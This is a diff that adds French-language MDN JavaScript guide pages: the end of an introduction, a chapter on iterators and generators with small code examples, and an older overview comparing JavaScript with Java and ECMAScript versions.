+<p>Pour lire ce guide, il est conseillé d'avoir :</p>
+
+<ul>
+ <li>Une compréhension générale du fonctionnement d'Internet et du <a href="https://developer.mozilla.org/fr/docs/Glossaire/World_Wide_Web">World Wide Web</a> .</li>
+ <li>Une connaissance élémentaire du <em>HyperText Markup Language</em> ({{Glossary("HTML")}}).</li>
+ <li>Une expérience préalable en programmation. Si vous débutez la programmation, vous pouvez utiliser l'un des tutoriels listés sur la page <a href="/fr/docs/Web/JavaScript">JavaScript</a>.</li>
+</ul>
+
+<h2 id="Où_trouver_des_informations_concernant_JavaScript">Où trouver des informations concernant JavaScript</h2>
+
+<p>La documentation MDN pour JavaScript comprend :</p>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre">Apprendre le Web</a> : cette section fournit des informations destinées aux débutants et présente les concepts de bases autour de la programmation et d'Internet.</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide">Le guide JavaScript</a> (ce guide) fournit un aperçu du langage JavaScript et de ses objets.</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference">La référence JavaScript</a> fournit une référence détaillée sur les fonctionnalités de JavaScript.</li>
+</ul>
+
+<p>Si vous débutez en JavaScript, vous pouvez commencer par les articles de la section <a href="/fr/docs/Apprendre">Apprendre</a> et du <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a>. Une fois que vous maîtrisez les briques de bases, vous pourrez utiliser <a href="/fr/docs/Web/JavaScript/Reference">la référence JavaScript</a> pour obtenir des informations détaillées sur chacun des objets natifs et des instructions.</p>
+
+<h2 id="Quest-ce_que_JavaScript">Qu'est-ce que JavaScript ?</h2>
+
+<p>JavaScript est un langage de script, multi-plateforme et orienté objet. C'est un langage léger qui doit faire partie d'un environnement hôte (un navigateur web par exemple) pour qu'il puisse être utilisé sur les objets de cet environnement.</p>
+
+<p>JavaScript contient une bibliothèque standard d'objets tels que <code>Array</code>, <code>Date</code>, et <code>Math</code>, ainsi qu'un ensemble d'éléments de langage tels que les opérateurs, les structures de contrôles et les instructions. Ces fonctionnalités centrales et natives de JavaScript peuvent être étendues de plusieurs façons en fournissant d'autres objets, par exemple :</p>
+
+<ul>
+ <li><em>JavaScript côté client</em> étend ces éléments de base en fournissant des objets pour contrôler le navigateur et le <em>Document Object Model</em> (DOM). Par exemple, les extensions du langage côté client permettent de placer des éléments dans un formulaire HTML, de réagir aux événements déclenchés par l'utilisateur (les clics, la saisie d'un formulaire, les actions de navigation, etc.).</li>
+ <li><em>JavaScript côte serveur</em> étend ces éléments de base avec des objets utiles pour le fonctionnement sur un serveur tels que la possibilité de communiquer avec une base de données, manipuler des fichiers, passer d'une application à une autre, etc.</li>
+</ul>
+
+<h2 id="JavaScript_et_Java">JavaScript et Java</h2>
+
+<p>JavaScript et Java se ressemblent sur certains aspects mais ils sont fondamentalement différents l'un de l'autre. Le langage JavaScript ressemble à Java mais n'est pas typé statiquement et le typage de JavaScript est faible (alors qu'il est fort en Java). La syntaxe des expressions JavaScript est très proche de celle du Java avec les conventions de nommage et les constructions conditionnelles par exemple : c'est une des raisons qui a fait que le langage LiveScript a été renommé en JavaScript.</p>
+
+<p>À la différence de Java qui est un système compilé et dont les classes sont déclarées, JavaScript est traité lors de l'exécution et possède quelques types de données pour représenter les nombres, les booléens et les chaînes de caractères (entre autres). JavaScript utilise un modèle basé sur les prototypes pour représenter les liens entre les objets alors que Java utilise un modèle plus courant basé sur les classes. Les prototypes permettent d'avoir un héritage dynamique. Ainsi, les caractéristiques héritées par un objet peuvent varier dans le temps. JavaScript supporte également les fonctions qui sont des objets à part entière et qui peuvent être des propriétés d'autres objets.</p>
+
+<p>JavaScript est un langage plutôt « libre » comparé au Java. Il n'est pas nécessaire de déclarer toutes les variables, classes et méthodes. Il n'est pas nécessaire de savoir si une méthode est publique, privée ou protégée et il n'y a pas d'interfaces à implémenter. Les variables, les paramètres et les valeurs de retour des fonctions ne sont pas explicitement typés.</p>
+
+<p>Java est un langage de programmation utilisant les classes, conçus pour être exécuté rapidement et garantir la sûreté du typage. Cela signifie par exemple qu'il n'est pas possible de transformer un entier Java en un objet ou qu'on ne peut pas accéder à des caractéristiques privées en corrompant le bytecode Java. Le modèle de classes utilisé par Java signifie qu'un programme n'est constitué que de classes et de méthodes. Cet héritage à base de classes, associé au typage fort font qu'on obtient des structures et des hiérarchies d'objets fortement couplées. Pour ces raisons, Java peut apparaître comme un langage plus complexe que JavaScript.</p>
+
+<p>À l'inverse, JavaScript est un descendant de langages plus légers, dynamiquement typés tels que HyperTalk et dBASE. Ces langages de scripts visent un public plus large avec une syntaxe plus simple, des fonctionnalités natives spécialisées et des prérequis minimaux pour pouvoir créer des objets.</p>
+
+<table class="standard-table">
+ <caption>Comparaison synthétique entre JavaScript et Java</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Orienté objet. Aucune distinction entre les types et les objets. L'héritage est basé sur un mécanisme utilisant les prototypes et les propriétés et méthodes peuvent être ajoutées dynamiquement à n'importe quel objet.</td>
+   <td>Orienté objet, utilisant un modèle de classes. Les objets sont divisés entre les classes et les instances, l'héritage s'effectue via la hiérarchie des classes. Les classes et les instances ne peuvent pas recevoir de nouvelles propriétés ou méthodes dynamiquement.</td>
+  </tr>
+  <tr>
+   <td>Le type de données des variables n'est pas déclaré (typage dynamique).</td>
+   <td>Le type de données des variables doit être déclaré (typage statique).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour plus d'informations sur les différences entre JavaScript et Java, voir le chapitre sur <a href="/fr/docs/Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails">les détails du modèle objet JavaScript</a>.</p>
+
+<h2 id="JavaScript_et_la_spécification_ECMAScript">JavaScript et la spécification ECMAScript</h2>
+
+<p>JavaScript est standardisé par <a href="https://www.ecma-international.org/">Ecma International</a> — une association européenne de standardisation des systèmes d'information et de communication (ECMA étant historiquement un acronyme pour <em>European Computer Manufacturers Association</em>) qui délivre un langage de programmation standardisé, international appelé ECMAScript. Ce langage se comporte de la même façon pour toutes les applications qui supportent ce standard. Les entreprises peuvent utiliser ce langage standard afin de développer leur implémentation de JavaScript. Le standard ECMAScript est documenté avec la spécification ECMA-262. Voir la page <a href="/fr/docs/Web/JavaScript/Nouveautés_et_historique_de_JavaScript">Nouveautés de JavaScript</a> pour en savoir plus sur les différentes versions de JavaScript et les différentes éditions de la spécification ECMAScript.</p>
+
+<p>Le standard ECMA-262 est également approuvé par l'<a href="https://www.iso.ch/">ISO</a> (<em>International Organization for Standardization</em>) sous ISO-16262. La spécification peut également être trouvée sur <a href="https://www.ecma-international.org/publications/standards/Ecma-262.htm">le site web d'Ecma International</a>. La spécification ECMAScript ne décrit pas le <em>Document Object Model</em> (DOM) qui est standardisé par le <a href="https://www.w3.org/">World Wide Web Consortium (W3C)</a> et <a href="https://whatwg.org">le WHATWG (Web Hypertext Application Technology Working Group)</a>. Le DOM définit la façon dont les documents HTML sont exposés aux scripts. Pour mieux comprendre les différentes technologies gravitant autour de JavaScript, voir l'article <a href="/fr/docs/Web/JavaScript/JavaScript_technologies_overview">Aperçu des technologies JavaScript</a>.</p>
+
+<h3 id="Documentation_JavaScript_et_spécification_ECMAScript">Documentation JavaScript et spécification ECMAScript</h3>
+
+<p>La spécification ECMAScript est un ensemble de conditions à respecter pour implémenter ECMAScript : cela est utile lorsqu'on souhaite implémenter des fonctionnalités standard du langage au sein d'une implémentation ou d'un moteur ECMAScript (tel que SpiderMonkey pour Firefox, ou V8 pour Chrome).</p>
+
+<p>La spécification ECMAScript n'a pas pour but d'aider les développeurs à écrire des scripts. La documentation JavaScript permet d'obtenir des informations pour écrire des scripts JavaScript.</p>
+
+<p>La spécification ECMAScript utilise parfois une terminologie et une syntaxe qui peuvent sembler étranges aux yeux d'un développeur JavaScript. Bien que la description du langage diffère entre ECMAScript et la documentation JavaScript, le langage lui-même reste le même. JavaScript supporte l'ensemble des fonctionnalités mises en avant dans la spécification ECMAScript.</p>
+
+<p>La documentation JavaScript décrit les aspects du langage qui pourront être utilisés par les développeurs JavaScript.</p>
+
+<h2 id="Démarrer_avec_JavaScript">Démarrer avec JavaScript</h2>
+
+<p>Pour commencer à développer en JavaScript, c'est très simple : il suffit d'avoir un navigateur web récent. Ce guide inclut certaines fonctionnalités de JavaScript qui ne sont disponibles que dans les dernières versions de Firefox, il est donc recommandé d'utiliser une version de Firefox à jour pour essayer les exemples fournis.</p>
+
+<p>Deux outils faisant partie de Firefox seront utiles pour expérimenter et tester du code JavaScript : la console web et l'ardoise JavaScript.</p>
+
+<h3 id="La_console_web">La console web</h3>
+
+<p>La <a href="/fr/docs/Outils/Web_Console">console web</a> affiche des informations sur la page actuellement chargée, elle dispose également d'une <a href="/fr/docs/Outils/Web_Console#L'interpr.C3.A9teur_de_lignes_de_commande">ligne de commande</a> qui peut être utilisée pour exécuter des expressions JavaScript dans la page actuelle.</p>
+
+<p>Pour ouvrir la console, dans le menu, sélectionner « Développement » puis « Console web » (en passant par la barre d'outils, ce sera « Outils » puis « Développement web » puis « Console web »). Avec le clavier, on pourra utiliser la combinaison de touche <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> sur Windows et Linux ou <kbd>Cmd</kbd>-<kbd>Option</kbd>-<kbd>K</kbd> sur Mac. Une fois lancée, la console apparaît en base de la fenêtre du navigateur. En bas de la zone occupée par la console, il y a une ligne de commande qui peut être utilisée pour saisir des instructions JavaScript, le résultat de ces instructions sera affiché dans le panneau au dessus :</p>
+
+<p><img alt="Console web" src="https://mdn.mozillademos.org/files/16569/2019-04-04_00-15-29.png" style="display: block; height: 1824px; margin-left: auto; margin-right: auto; width: 2784px;"></p>
+
+<h3 id="Lardoise_JavaScript">L'ardoise JavaScript</h3>
+
+<p>La console est pratique quand il s'agit d'exécuter des instructions ligne par ligne. Cependant dès qu'on souhaite exécuter un script plus complexe de plusieurs lignes, la console devient vite limitée. Pour ça, on pourra utiliser <a href="/fr/docs/Outils/Ardoise">l'ardoise JavaScript</a>.</p>
+
+<p>Pour accéder à l'ardoise JavaScript, dans le menu « Développement », sélectionner « Ardoise JavaScript » (via la barre d'outils, sélectionner « Outils », « Développement web » puis « Ardoise JavaScript »). Cela ouvrira une fenêtre séparée qui est un éditeur qui permet d'écrire et d'exécuter du code JavaScript dans le navigateur. Il est aussi possible de sauvegarder les scripts saisis dans l'ardoise dans des fichiers et de charger des scripts depuis les fichiers.</p>
+
+<p>Si vous utilisez le bouton « Afficher », le code contenu dans l'ardoise sera exécuté par le navigateur et le résultat sera affiché sous forme d'un commentaire à la suite du code :</p>
+
+<p><img alt="capture d'écran de l'ardoise JS" src="https://mdn.mozillademos.org/files/10263/ardoise.png" style="display: block; height: 503px; margin-left: auto; margin-right: auto; width: 637px;"></p>
+
+<h3 id="Coucou_monde_hello_world">Coucou monde (<em>hello world</em>)</h3>
+
+<p>Pour commencer à écrire du JavaScript, ouvrez votre console web ou l'ardoise JavaScript et écrivez votre premier « <em>Hello world</em> » en JavaScript.</p>
+
+<pre class="brush: js">function saluer(utilisateur) {
+  return "Bonjour " + utilisateur;
+}
+
+saluer("Alice"); // "Bonjour Alice"
+</pre>
+
+<p>Dans les pages qui suivent, ce guide introduira la syntaxe du langage JavaScript ainsi que ses fonctionnalités ; vous pourrez ainsi écrire des applications plus complexes.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Types_et_grammaire")}}</p>
diff --git a/files/fr/web/javascript/guide/iterateurs_et_generateurs/index.html b/files/fr/web/javascript/guide/iterateurs_et_generateurs/index.html
new file mode 100644
index 0000000000..d714b614cf
--- /dev/null
+++ b/files/fr/web/javascript/guide/iterateurs_et_generateurs/index.html
@@ -0,0 +1,175 @@
+---
+title: Itérateurs et générateurs
+slug: Web/JavaScript/Guide/iterateurs_et_generateurs
+tags:
+  - Guide
+  - Intermediate
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Utiliser_les_promesses", "Web/JavaScript/Guide/Métaprogrammation")}}</div>
+
+<p class="summary">Effectuer des traitements sur chacun des éléments d'une collection est une opération très fréquente. Il existe plusieurs outils natifs dans JavaScript pour parcourir une collection, les boucles <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/map">map()</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/filter">filter()</a></code>. Les itérateurs et les générateurs font de ce concept d'itération une fonctionnalité principale du langage et permettent d'adapter et de personnaliser le comportement des boucles <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code>.</p>
+
+<p>Pour plus de détails sur les mécanismes d'itération, voir les pages suivantes :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">Les protocoles d'itération</a></li>
+ <li>{{jsxref("Instructions/for...of","for...of")}}</li>
+ <li>{{jsxref("Instructions/function*","function*")}} et {{jsxref("Generator")}}</li>
+ <li>{{jsxref("Opérateurs/yield","yield")}} et {{jsxref("Opérateurs/yield*","yield*")}}</li>
+</ul>
+
+<h2 id="Itérateurs">Itérateurs</h2>
+
+<p>Un itérateur est un objet sachant comment accéder aux éléments d'une collection un par un et qui connait leur position dans la collection. En JavaScript, un itérateur expose une méthode <code>next()</code> qui retourne l'élément suivant dans la séquence. Cette méthode renvoie un objet possédant deux propriétés : <code>done</code> et <code>value</code>.</p>
+
+<p>Un itérateur est "terminé" lorsque l'appel à la méthode <code>next()</code> renvoie un objet dont la propriété <code>done</code> vaut <code>true</code>.</p>
+
+<p>Une fois créé, un itérateur peut être utilisé explicitement en appelant sa méthode <code>next()</code>, ou implicitement en utilisant la boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code>.</p>
+
+<p>Voici un exemple d'une fonction créant un itérateur qui parcourt l'intervalle défini par ses arguments (depuis <code>debut</code> (inclus) jusqu'à <code>end</code> (exclus) et avec <code>pas</code> comme incrément. La valeur finale qui est renvoyée correspond à la taille de la séquence créée</p>
+
+<pre class="brush: js">function creerIterateurIntervalle(debut = 0, fin = Infinity, pas = 1) {
+  let prochainIndex = debut;
+  let nbIterations = 0;
+
+  const rangeIterator = {
+    next: function() {
+      let resultat;
+      if (prochainIndex &lt; fin) {
+        resultat = { value: prochainIndex, done: false };
+        prochainIndex += pas;
+        nbIterations++;
+        return resultat;
+      }
+      return { value: nbIterations, done: true }
+    }
+  };
+  return rangeIterator;
+}</pre>
+
+<p>On pourra alors utiliser cette fonction et l'itérateur de la façon suivante :</p>
+
+<pre class="brush: js">let it = creerIterateurIntervalle(1, 10, 2);
+
+let resultat = it.next();
+while (!resultat.done) {
+ console.log(resultat.value); // 1 3 5 7 9
+ resultat = it.next();
+}
+
+console.log("La séquence parcourue contenait ", result.value, " éléments.");
+</pre>
+
+<h2 id="Itérables">Itérables</h2>
+
+<p>Un objet est considéré comme <strong>itérable</strong> s'il définit le comportement qu'il aura lors de l'itération (par exemple les valeurs qui seront utilisées dans une boucle {{jsxref("Instructions/for...of", "for...of")}}). Certains types natifs, tels qu'{{jsxref("Array")}} ou {{jsxref("Map")}}, possède un comportement par défaut pour les itérations, cependant d'autres types comme les Objets, ne possèdent pas ce comportement.</p>
+
+<p>Pour qu'un objet soit <strong>itérable</strong>, un objet doit implémenter la méthode <strong>@@iterator</strong>, cela signifie que l'objet (ou un des objets de la <a href="/fr/docs/Web/JavaScript/Héritage_et_chaîne_de_prototypes">chaîne de prototypes</a>) doit avoir une propriété avec la clé {{jsxref("Symbol.iterator")}}. Cette fonction doit également, même si ce n'est pas une obligation, renvoyer une nouvel opérateur à chaque appel.</p>
+
+<h3 id="Itérables_personnalisés">Itérables personnalisés</h3>
+
+<p>Il est possible de définir ses propres itérables de cette façon :</p>
+
+<pre class="brush: js">var monItérable = {};
+monItérable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...monItérable] // [1, 2, 3]
+</pre>
+
+<h3 id="Itérables_natifs">Itérables natifs</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} et {{jsxref("Set")}} sont des itérables natifs car les prototypes de chacun ont tous une méthode {{jsxref("Symbol.iterator")}}.</p>
+
+<h3 id="Les_éléments_de_syntaxe_utilisant_des_itérables">Les éléments de syntaxe utilisant des itérables</h3>
+
+<p>Certaines instructions ou expressions utilisent des itérables, par exemple les boucles {{jsxref("Instructions/for...of","for...of")}} et {{jsxref("Opérateurs/yield*","yield*")}}.</p>
+
+<pre class="brush: js">for(let value of ["a", "b", "c"]){
+    console.log(value)
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"] // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"]
+}
+
+gen().next() // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"])
+a // "a"
+
+</pre>
+
+<h2 id="Générateurs">Générateurs</h2>
+
+<p>Les itérateurs personnalisés sont un outil utile mais leur création peut s'avérer complexe et il faut maintenir leur état interne. Avec les générateurs, on peut définir une seule fonction qui est un algorithme itératif et qui peut maintenir son état.</p>
+
+<p>Un générateur est un type de fonction spécial qui fonctionne comme une fabrique (<em>factory</em>) d'itérateurs. Une fonction devient un générateur lorsqu'elle contient une ou plusieurs expressions <code>yield</code> et qu'elle utilise la syntaxe <code>function*</code>.</p>
+
+<pre class="brush: js">function* idMaker(){
+  var index = 0;
+  while(true)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Générateurs_avancés">Générateurs avancés</h2>
+
+<p>Les générateurs calculent les valeurs à fournir à la demande, ce qui leur permet de représenter efficacement des suites complexes à calculer, voire des séries infinies (comme vu dans l'exemple précédent).</p>
+
+<p>La méthode <code>next()</code> accepte également un argument qui pourra être utilisé pour modifier l'état interne du générateur. Une valeur passée à <code>next()</code> sera traitée comme le résultat de la dernière expression <code>yield</code> qui a interrompu le générateur. Une valeur passée au premier appel de <code>next()</code> sera toujours ignorée.</p>
+
+<p>Par exemple, on peut avoir un générateur pour la suite de Fibonnaci et utiliser <code>next(x)</code> pour redémarrer la série :</p>
+
+<pre class="brush: js">function* fibonacci(){
+  var fn1 = 0;
+  var fn2 = 1;
+  while (true){
+    var current = fn1;
+    fn1 = fn2;
+    fn2 = fn1 + current;
+    var reset = yield current;
+    if (reset){
+        fn1 = 0;
+        fn2 = 1;
+    }
+  }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value);     // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+console.log(sequence.next().value);     // 3
+console.log(sequence.next().value);     // 5
+console.log(sequence.next().value);     // 8
+console.log(sequence.next(true).value); // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2</pre>
+
+<p>Il est possible de forcer un générateur à lever une exception en utilisant la méthode <code>throw()</code> en lui passant la valeur de l'exception en argument. Cette exception sera levée depuis l'état actuel du générateur, comme si le <code>yield</code> qui était en attente avait été une instruction <code>throw <em>valeur</em></code>.</p>
+
+<p>Si le mot-clé <code>yield</code> n'est pas trouvé lors de la levée de l'exception, l'exception sera propagée jusqu'à l'appel de <code>throw()</code>, les appels à <code>next()</code> qui suivent renverront une valeur dont la propriété <code>done</code> sera <code>true</code>.</p>
+
+<p>Si l'exception n'est pas interceptée dans le générateur, elle se propagera jusqu'à l'appel de <code>throw()</code> et les appels suivants de <code>next()</code> renverront un objet dont la propriété <code>done </code>vaut <code>true</code>.</p>
+
+<p>Les générateurs possèdent une méthode <code>return(valeur)</code> qui permet de renvoyer une valeur donnée et de terminer le générateur.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Utiliser_les_promesses", "Web/JavaScript/Guide/Métaprogrammation")}}</p>
diff --git a/files/fr/web/javascript/guide/javascript_overview/index.html b/files/fr/web/javascript/guide/javascript_overview/index.html
new file mode 100644
index 0000000000..095f85f2dd
--- /dev/null
+++ b/files/fr/web/javascript/guide/javascript_overview/index.html
@@ -0,0 +1,117 @@
+---
+title: Aperçu de JavaScript
+slug: Web/JavaScript/Guide/JavaScript_Overview
+tags:
+  - Guide
+  - Intermediate
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+<p>Ce chapitre est une introduction à JavaScript et détaille quelques-uns des concepts fondamentaux de ce langage.</p>
+<h2 id="Qu'est-ce_que_JavaScript">Qu'est-ce que JavaScript ?</h2>
+<p>JavaScript est un langage de script, multi-plateforme, orienté-objet. JavaScript est un langage compact, léger. Il n'est pas conçu pour être utilisé de manière autonome, mais pour être intégré dans d'autres produits et applications tels que les navigateurs web. Dans un environnement hôte, JavaScript peut servir d'interface de manipulation avec les objets mis à disposition par l'environnement.</p>
+<p>Le noyau du langage JavaScript contient un ensemble d'objets, tels que <code>Array</code>, <code>Date</code>, et <code>Math</code>, et un noyau d'éléments comme les opérateurs, structures de contrôle et déclarations. Le c<span>œ</span>ur de JavaScript peut être étendu pour remplir différents besoins grâce à des objets additionnels. Par exemple :</p>
+<ul>
+ <li>Le JavaScript, côté client, étend le noyau du langage en y ajoutant des objets pour contrôler le navigateur et son Document Object Model (DOM). Les extensions côté client permettent par exemple à une application de placer des éléments dans un formulaire HTML et de répondre à des événements tels que le clic de la souris, une entrée dans un formulaire ou la navigation dans une page.</li>
+ <li>Le JavaScript, côté serveur, étend le noyau du langage en y ajoutant des objets nécessaires pour faire fonctionner JavaScript sur un serveur. Par exemple, les extensions côté serveur permettent à une application de communiquer avec une base de données relationnelle, d'offrir des informations continues au fur et à mesure des appels, ou encore d'effectuer des manipulations de fichiers sur le serveur.</li>
+</ul>
+<p>Grâce à la fonctionnalité LiveConnect, JavaScript peut faire communiquer du code Java avec JavaScript. À partir de JavaScript, on peut instancier des objets Java et accéder à leurs méthodes publiques et attributs. À partir de Java, on peut accéder des objets, propriétés et méthodes JavaScript.</p>
+<p>Netscape inventa JavaScript et fut le premier navigateur à l'utiliser.</p>
+<h2 id="JavaScript_et_Java">JavaScript et Java</h2>
+<p>JavaScript et Java sont semblables en ce qui concerne quelques aspects mais restent fondamentalement différents. JavaScript ressemble à Java, mais il ne possède pas un typage fort et statique. JavaScript suit la syntaxe de la plupart des expressions Java, les conventions de nommage et les structures de flots de contrôle basiques. C'est pour cette raison qu'il a été renommé de LiveScript en JavaScript.</p>
+<p>En contraste avec le système <em>compile-time</em> des classes construites par des déclarations, JavaScript supporte les systèmes <em>runtime </em>basés sur un petit nombre de types de données représentant des valeurs numériques, booléennes et des chaines de caractères. JavaScript possède un modèle objet basé sur des prototypes au lieu du modèle objet traditionnel. Le modèle basé sur le prototype offre un héritage dynamique. Cela signifie que ce qui est hérité peut varier selon les objets. JavaScript supporte aussi l'écriture de fonctions sans qu'il y ait besoin de déclarations spéciales. Les fonctions peuvent être des propriétés d'objets, exécutées comme des méthodes avec un typage souple.</p>
+<p>JavaScript est un langage beaucoup plus souple que Java. Il n'est pas nécessaire de déclarer toutes les variables, classes, et méthodes. Il n'y a pas à se soucier qu'une méthode soit publique, privée ou protégée, il n'y a pas à implémenter d'interfaces. Les variables, paramètres et types de retour des fonctions ne sont pas explicitement typés.</p>
+<p>Java est un langage de programmation basé sur les classes conçues pour une exécution rapide et un typage sûr. La sûreté du typage signifie qu'on ne peut pas transformer un entier en Java en une référence vers un objet ni accéder à la mémoire privée via une corruption du bytecode Java. Le modèle de Java, basé sur les classes, signifie que les programmes se composent exclusivement de classes et de leurs méthodes. L'héritage des classes en Java ainsi que le typage fort exigent généralement une hiérarchie d'objets étroitement couplée. Ces exigences font que la programmation en Java peut s'avérer plus complexe que JavaScript.<br>
+ <br>
+ En revanche, JavaScript vient d'une lignée de langages plus légers, dynamiquement typés comme HyperTalk et dBASE. Ces langages de script offrent des outils de programmation à un public beaucoup plus large en raison de leur syntaxe plus facile, des fonctionnalités spécialisées intégrées et des exigences minimales pour la création d'objets.</p>
+<p>Table 1.1 Comparaison entre JavaScript et Java</p>
+<table class="standard-table">
+ <caption>
+  Tableau 1.1 Comparaison entre JavaScript et Java</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Orienté objet. Pas de distinction entre les types d'objets. L'héritage se fait à travers le mécanisme de prototype et les propriétés et méthodes peuvent être ajoutées à n'importe quel objet dynamique.</td>
+   <td>Basé sur classes. Les objets sont divisés en classes et instances avec une hiérarchie d'héritage. Les classes et les instances ne peuvent pas avoir des propriétés ou des méthodes ajoutées dynamiquement.</td>
+  </tr>
+  <tr>
+   <td>Les types des variables ne sont pas déclarés (typage dynamique).</td>
+   <td>Les types des variables doivent être déclarés (typage statique).</td>
+  </tr>
+  <tr>
+   <td>On ne peut pas écrire automatiquement sur le disque dur.</td>
+   <td>On ne peut pas écrire automatiquement sur le disque dur.</td>
+  </tr>
+ </tbody>
+</table>
+<p>Pour plus d'informations sur la différence entre JavaScript et Java, voir les détails au chapitre du <a href="/fr/docs/Web/JavaScript/Guide/Le_mod%C3%A8le_objet_JavaScript_en_d%C3%A9tails">modèle objet</a> de JavaScript.</p>
+<h2 id="JavaScript_et_la_spécification_ECMAScript">JavaScript et la spécification ECMAScript</h2>
+<p>Netscape a inventé JavaScript et JavaScript a d'abord été utilisé dans les navigateurs Netscape. Cependant, Netscape travailla avec <a href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International </a>- l'association européenne pour la normalisation des systèmes d'information et de communication (ECMA était autrefois un acronyme pour European Computer Manufacturers Association), afin de fournir un standard et un langage de programmation international basée sur le noyau JavaScript. Cette version standardisée de JavaScript, appelée ECMAScript, se comporte de la même façon dans toutes les applications qui prennent en charge la norme. Les entreprises peuvent utiliser le langage standard ouvert pour développer leur implémentation de JavaScript. La norme ECMAScript est documentée dans la spécification ECMA-262.<br>
+ <br>
+ La norme ECMA-262 est également approuvée par <a href="http://www.iso.org/iso/home.html" title="http://www.iso.org/iso/home.html">l'ISO</a> (Organisation internationale de normalisation) en tant que norme ISO-16262. Vous pouvez trouver <a href="http://www-archive.mozilla.org/js/language/E262-3.pdf" title="http://www-archive.mozilla.org/js/language/E262-3.pdf">une version PDF de la norme ECMA-262</a> (version obsolète) sur le site de Mozilla. Vous pouvez également trouver les spécifications sur <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" title="http://www.ecma-international.org/publications/standards/Ecma-262.htm">le site de l'Ecma International</a>. La spécification ECMAScript ne décrit pas le Document Object Model (DOM), qui est standardisé par le <a href="http://www.w3.org/" title="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. Le DOM définit la manière dont les objets des documents HTML sont exposés à votre script.</p>
+<h3 id="Relation_entre_les_versions_de_JavaScript_et_les_éditions_d'ECMAScript">Relation entre les versions de JavaScript et les éditions d'ECMAScript</h3>
+<p>Netscape a travaillé en étroite collaboration avec Ecma International afin de produire la spécification ECMAScript (ECMA-262). Le tableau suivant décrit la relation entre les versions de JavaScript et les éditions d'ECMAScript.</p>
+<table class="standard-table">
+ <caption>
+  Tableau 1.2 Les versions de JavaScript et les liens avec les versions ECMAScript</caption>
+ <thead>
+  <tr>
+   <th scope="col">Version de JavaScript</th>
+   <th scope="col">Lien avec l'édition d'ECMAScript</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>JavaScript 1.1</td>
+   <td>ECMA-262, Édition 1 basée sur JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.2</td>
+   <td>
+    <p>ECMA-262 n'était pas terminée lorsque JavaScript 1.2 est sorti. JavaScript 1.2 n'est pas entièrement compatible avec la norme ECMA-262, édition 1, pour les raisons suivantes :</p>
+    <ul>
+     <li>Netscape a développé des fonctionnalités supplémentaires dans JavaScript 1.2 qui n'ont pas été prises en considération pour ECMA-262.</li>
+     <li>ECMA-262 ajoute deux nouvelles fonctionnalités : l'internationalisation en utilisant le comportement Unicode et uniforme sur toutes les plateformes. Plusieurs fonctionnalités de JavaScript 1.2, telles que l'objet Date, qui étaient dépendantes de la plateforme.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.3</td>
+   <td>JavaScript 1.3 est entièrement compatible avec la norme ECMA-262, édition 1.<br>
+    JavaScript 1.3 a résolu les contradictions que JavaScript 1.2 a eu avec ECMA-262, tout en conservant toutes les fonctionnalités supplémentaires de JavaScript 1.2, sauf == et! =, qui ont été modifiées pour se conformer à la norme ECMA-262.</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.4</td>
+   <td>JavaScript 1.4 est entièrement compatible avec la norme ECMA-262, édition 1.<br>
+    La troisième version de la spécification ECMAScript n'a pas été finalisée lorsque JavaScript 1.4 est sorti.</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.5</td>
+   <td>JavaScript 1.5 est entièrement compatible avec la spécification ECMA-262, édition 3.</td>
+  </tr>
+ </tbody>
+</table>
+<div class="note">
+ <p><strong>Remarque </strong>: ECMA-262 dans sa deuxième édition contenait des modifications mineures et corrections de bugs selon la spécification Édition 1. La version actuelle par le groupe de travail TC39 d'Ecma International est ECMAScript Edition 5.1</p>
+</div>
